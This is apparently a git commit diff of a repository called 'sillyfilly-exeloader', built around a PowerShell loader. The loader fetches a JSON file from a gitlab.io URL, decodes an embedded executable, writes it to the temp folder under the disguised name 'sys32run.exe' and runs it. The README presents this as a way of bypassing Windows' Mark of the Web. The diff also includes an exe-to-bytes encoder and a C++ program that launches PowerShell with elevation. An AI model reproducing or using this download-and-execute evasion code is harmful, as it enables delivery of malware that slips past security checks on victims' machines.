migrating
This commit is contained in:
@@ -0,0 +1,6 @@
|
||||
$bytes = 24
|
||||
|
||||
[System.Security.Cryptography.RNGCryptoServiceProvider] $rng = New-Object System.Security.Cryptography.RNGCryptoServiceProvider
|
||||
$rndbytes = New-Object byte[] $bytes
|
||||
$rng.GetBytes($rndbytes)
|
||||
[System.IO.File]::WriteAllBytes("$PWD\test.txt", $rndbytes)
|
||||
@@ -0,0 +1,59 @@
|
||||
$ByteFile="$PWD/test.txt"
|
||||
$ByteArray = [io.file]::ReadAllBytes($ByteFile)
|
||||
echo "=== Original Byte Array ==="
|
||||
$ByteArray
|
||||
$Width = $ByteArray.Length
|
||||
$Position = 0..$Width
|
||||
$Buf = 0..$Width
|
||||
$RetBuf = 0..$Width
|
||||
$HashTab = @{}
|
||||
$Count = 0
|
||||
$CountRet = 0
|
||||
$ScrambledPosition = $Position | Sort-Object {Get-Random}
|
||||
echo "=== ScrambledPosition Original ==="
|
||||
$ScrambledPosition
|
||||
#$ScrambledPosition[0]
|
||||
foreach($Key in $ScrambledPosition) {
|
||||
#$HashTab.add($Key, $ByteArray[$Count])
|
||||
#$Key
|
||||
echo $Buf[$Count] = $ByteArray[$Key]
|
||||
$Count++
|
||||
#$buf[$PSItem]# = $ByteArray[$scrambledPosition[$PSItem]]
|
||||
#$PSItem
|
||||
#$ByteArray[$PSItem]
|
||||
#$tem
|
||||
#Write-Host "$ScrambledPosition[$Count] : $ByteArray[$PSItem]"
|
||||
##$ScrambledPosition[$Count]
|
||||
#[System.BitConverter]::ToString($PSItem)
|
||||
}
|
||||
|
||||
Write-Output "=== Buf ==="
|
||||
$Buf
|
||||
|
||||
foreach($Key in $Buf) {
|
||||
$PositionRet = $ScrambledPosition[$CountRet]
|
||||
#echo "$positionRet = $ScrambledPosition[$CountRet]"
|
||||
#$ScrambledPosition[$Key]
|
||||
#$ScrambledPosition[$CountRet]
|
||||
echo 'Buf[i]:' $Buf[$PositionRet] 'i: ' $positionret
|
||||
#$RetBuf[$CountRet]
|
||||
#$Buf[$PositionRet]
|
||||
$CountRet++
|
||||
#$RetBuf[]
|
||||
}
|
||||
|
||||
|
||||
#$Buf # Scrambled bytes
|
||||
#$Position # array 0..$Width
|
||||
#$ByteArray # unscrambled bytes
|
||||
#$ScrambledPosition # positions of scramble
|
||||
#$HashTabRand = $HashTab | Sort-Object {Get-Random}
|
||||
#$HashTab
|
||||
#Write-Output "=== ScrambledPosition ==="
|
||||
#$ScrambledPosition
|
||||
Write-Output "=== ByteArray ==="
|
||||
$ByteArray
|
||||
#Write-Output "=== Buf ==="
|
||||
#$Buf
|
||||
Write-Output "=== RetBuf ==="
|
||||
$RetBuf
|
||||
@@ -0,0 +1,3 @@
|
||||
[Byte[]] $bytes = 0x90,0x90,0x90,0x9
|
||||
[io.file]::WriteAllBytes('out.exe', $bytes)
|
||||
# Get-Content('test.txt') | Format-Hex
|
||||
Binary file not shown.
File diff suppressed because one or more lines are too long
@@ -0,0 +1,2 @@
|
||||
# Auto detect text files and perform LF normalization
|
||||
* text=auto
|
||||
@@ -0,0 +1,6 @@
|
||||
# sillyfilly-exeloader
|
||||

|
||||
|
||||
## tl;dr
|
||||
Powershell lets you download a json file with iwr (Invoke-WebRequest), and if that json file has, maybe, megabytes of byte code [like this](sillyfilly.json) that was simply an [encoded exe](shellexe/) with [this powershell silliness](encode_exe.ps1) you can just decode it, write it to tmp and execute it, bypassing the Mark of the Web.
|
||||
From there... (coming soon...) (very soon...)
|
||||
@@ -0,0 +1,25 @@
|
||||
function Convert-ByteArrayToHexString
|
||||
{
|
||||
# props to https://www.sans.org/blog/powershell-byte-array-and-hex-functions/
|
||||
[CmdletBinding()] Param (
|
||||
[Parameter(Mandatory = $True)] $ByteFile)
|
||||
|
||||
$ByteArray = [io.file]::ReadAllBytes($ByteFile)
|
||||
$Width = $ByteArray.length
|
||||
$Delimiter = ",0x"
|
||||
$FirstDelimiter = $Delimiter -Replace "^[\,\:\t]",""
|
||||
$From = 0
|
||||
$To = $Width - 1
|
||||
'[[byte]] $bytes='
|
||||
Do
|
||||
{
|
||||
$String = [System.BitConverter]::ToString($ByteArray[$From..$To])
|
||||
$String = $FirstDelimiter + ($String -replace "\-",$Delimiter)
|
||||
$String
|
||||
$From += $Width
|
||||
$To += $Width
|
||||
} While ($From -lt $ByteArray.Length)
|
||||
}
|
||||
|
||||
# example
|
||||
Convert-ByteArrayToHexString "$PWD\to_encode.exe" | Out-File -FilePath .\shelly.txt
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 540 KiB |
@@ -0,0 +1,5 @@
|
||||
$path='test.txt'
|
||||
$bytes = [io.file]::ReadAllBytes($path)
|
||||
$str = [BitConverter]::ToString($bytes) -replace '-'
|
||||
echo $str
|
||||
# Get-Content('test.txt') | Format-Hex
|
||||
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,37 @@
|
||||
{
|
||||
"Version": 1,
|
||||
"WorkspaceRootPath": "C:\\Users\\human\\source\\repos\\shellexe\\",
|
||||
"Documents": [
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{60EDDBD0-4A60-4C8C-998E-71B402736EA5}|shellexe.vcxproj|C:\\Users\\human\\source\\repos\\shellexe\\Main.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
|
||||
"RelativeMoniker": "D:0:0:{60EDDBD0-4A60-4C8C-998E-71B402736EA5}|shellexe.vcxproj|solutionrelative:Main.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
|
||||
}
|
||||
],
|
||||
"DocumentGroupContainers": [
|
||||
{
|
||||
"Orientation": 0,
|
||||
"VerticalTabListWidth": 256,
|
||||
"DocumentGroups": [
|
||||
{
|
||||
"DockedWidth": 200,
|
||||
"SelectedChildIndex": 0,
|
||||
"Children": [
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 0,
|
||||
"Title": "Main.cpp",
|
||||
"DocumentMoniker": "C:\\Users\\human\\source\\repos\\shellexe\\Main.cpp",
|
||||
"RelativeDocumentMoniker": "Main.cpp",
|
||||
"ToolTip": "C:\\Users\\human\\source\\repos\\shellexe\\Main.cpp",
|
||||
"RelativeToolTip": "Main.cpp",
|
||||
"ViewState": "AQIAAAAAAAAAAAAAAAAAAAYAAAAMAAAA",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000677|",
|
||||
"WhenOpened": "2024-07-05T23:55:40.022Z",
|
||||
"EditorCaption": ""
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
@@ -0,0 +1,10 @@
|
||||
#include <iostream>
|
||||
#include <windows.h>
|
||||
#include <shellapi.h>
|
||||
#include <string>
|
||||
#include <limits.h>
|
||||
|
||||
int main() {
|
||||
HINSTANCE retval = ShellExecuteA(NULL, "runas", "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", NULL, NULL, SW_NORMAL);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.10.35004.147
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "shellexe", "shellexe.vcxproj", "{60EDDBD0-4A60-4C8C-998E-71B402736EA5}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{60EDDBD0-4A60-4C8C-998E-71B402736EA5}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{60EDDBD0-4A60-4C8C-998E-71B402736EA5}.Debug|x64.Build.0 = Debug|x64
|
||||
{60EDDBD0-4A60-4C8C-998E-71B402736EA5}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{60EDDBD0-4A60-4C8C-998E-71B402736EA5}.Debug|x86.Build.0 = Debug|Win32
|
||||
{60EDDBD0-4A60-4C8C-998E-71B402736EA5}.Release|x64.ActiveCfg = Release|x64
|
||||
{60EDDBD0-4A60-4C8C-998E-71B402736EA5}.Release|x64.Build.0 = Release|x64
|
||||
{60EDDBD0-4A60-4C8C-998E-71B402736EA5}.Release|x86.ActiveCfg = Release|Win32
|
||||
{60EDDBD0-4A60-4C8C-998E-71B402736EA5}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {8D0DEA54-9462-4B8A-98B4-BE2649A22A8B}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,135 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>17.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{60eddbd0-4a60-4c8c-998e-71b402736ea5}</ProjectGuid>
|
||||
<RootNamespace>shellexe</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Main.cpp" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,22 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Main.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
@@ -0,0 +1,4 @@
|
||||
$j = iwr 'https://princesspi.gitlab.io/nsfvenom-front-end/sillyfilly.json' | ConvertFrom-Json
|
||||
$bytes=$j.sillyfillies.split(",")
|
||||
[io.file]::WriteAllBytes("$Env:Temp\sys32run.exe", $bytes)
|
||||
Start-Process -FilePath "$Env:Temp\sys32run.exe"
|
||||
File diff suppressed because one or more lines are too long
Binary file not shown.
Reference in New Issue
Block a user